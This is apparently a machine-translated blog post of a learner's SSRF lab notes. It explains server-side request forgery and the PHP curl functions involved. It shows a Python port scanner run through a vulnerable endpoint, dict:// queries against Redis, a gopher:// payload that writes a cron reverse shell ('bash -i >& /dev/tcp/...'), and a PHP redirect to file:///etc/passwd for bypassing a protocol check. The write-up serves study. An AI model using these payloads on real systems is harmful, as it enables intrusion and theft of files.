当前位置:网站首页>SSRF-lab
SSRF-lab
2022-06-25 05:15:00 【Mccc_ li】
List of articles
SSRF( Server request forgery )
principle :
quite a lot web Applications provide the function of obtaining data from other servers . Use user specified URL,web The app can get pictures , Download the file , Read file contents, etc . If this function is used maliciously , You can take advantage of defective web The application acts as a proxy to attack both remote and local servers .
Pictured :
Under normal circumstances , A client sends the specified url Ask the server for something , When the server receives this request, it first Look at this. url Is it legal , Then go to the intranet resources to request this url Resources needed , Then the server returns the resource to the client .
And if a malicious user passes in url Not filtered Then he can pass ssrf Access to some resources in the intranet that are not allowed to be accessed ( That is to say client Direct access to intranet resources is not allowed , And the server can , This is it. ssrf)
stay php Will lead to ssrf Function of :
file_get_contents()
fsockopen()
curl_exec()
experiment 1:(basic)

You can see that there is curl library :
curl_init — Initialize a cURL conversation
curl_setopt ( resource $ch , int $option , mixed $value ) : bool
{
ch: from curl_init() Back to cURL Handle .
option: Required CURLOPT_XXX Options .
value: Set to option The value on the option .
The second parameter in the code is CURLOPT_URL: Is to get the following parameters url
The third parameter is the value of the second parameter , Here is post Of handler
}
curl_exec ( resource $ch ) : mixed— Perform a given cURL conversation .( That's the point , There is no filtering for the parameters we pass in , Then we can execute some malicious code )
curl Supported protocols :
file:// Can read files
Dict:// Be able to quote and allow to pass DICT List of definitions or words used by the protocol
SFTP:// ssh File transfer protocol
TFTP:// Simple file transfer protocol
LDAP:// Lightweight directory access protocol
Gopher:// Gopher Is a distributed document delivery service . Use the service , Users can browse seamlessly 、 Search and retrieve information that resides in different locations .
Use file:// Read the file 
Use dict:// Port scan :
import requests
url = "http://123.912.114.237:80/testhook.php"
porxy = [ i for i in range(1,6380)]
for i in porxy:
ip = "127.0.0.1:{0}".format(i)
try:
s = requests.post(url,data={"handler":ip},timeout=1)
if len(s.text)>0:
print(str(i)+" Port open ")
except requests.exceptions.ConnectTimeout:
print(str(i)+" Port open ")
Use dict Agreement view redis Service configuration information :
dict://127.0.0.1:6379/info

dict://127.0.0.1:6379/KEYS * Can get redis The content of
Can also bounce shell, I didn't learn it redis, Put it here first , Look at it later. :
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
experiment 2(advance1)

Looking at the source code, you can see , Here we use regular expressions to judge the protocol type , Determine whether the parameters we submit are http perhaps https At the beginning
I think others can use 302 Jump around first http and https, Is to load a from the outside php
<?php
header("Location:file:///etc/passwd");
?>
You can bypass , I opened the curl Jump function of , But I don't know why it didn't succeed , Bury a pit , Later research
Here you are ssrf Detailed bypass methods for : Add link description
This lab Abandoned
边栏推荐
- Database low-end SQL query statement fragment
- 《QDebug 2022年6月》
- A review of small sample learning
- Kotlin compose listens to the soft keyboard and clicks enter to submit the event
- JS handwriting depth clone array and object
- Various pits encountered in the configuration of yolov3 on win10
- Redis (17)
- Array and simple function encapsulation cases
- Edge loss interpretation
- Mysql interactive_ Timeout and wait_ Timeout differences
猜你喜欢

Student achievement management system based on SSH

Uva1103 ancient pictograph recognition

The construction and usage of wampserver framework

How to use the Magic pig system reinstallation master

《QDebug 2022年6月》

How micro engine uploads remote attachments

渗透测试-目录遍历漏洞

Array: force deduction dichotomy

buuctf(re)

滲透測試-提權專題
随机推荐
How to install the blue lake plug-in to support Photoshop CC 2017
[keil] GPIO output macro definition of aducm4050 official library
Baidu ueeditor set toolbar initial value
The print area becomes smaller after epplus copies the template
基于SSH实现的学生成绩管理系统
HR took the initiative to raise the salary of the test lady. How did she do it?
Can bus extended frame
Array: force deduction dichotomy
February 20ctf record
2021-03-23
Jason learning
Critical dependency: require function is used in a way in which dependencies
SRC platform summary
Small sample learning data set
Precise delay based on Cortex-M3 and M4 (systick delay of system timer can be used for STM32, aducm4050, etc.)
ThinkPHP 5 log management
两小时带你进入软件测试行业风口(附全套软件测试学习路线)
Drag modal box
Qdebug June 2022
How to make colleagues under the same LAN connect to their own MySQL database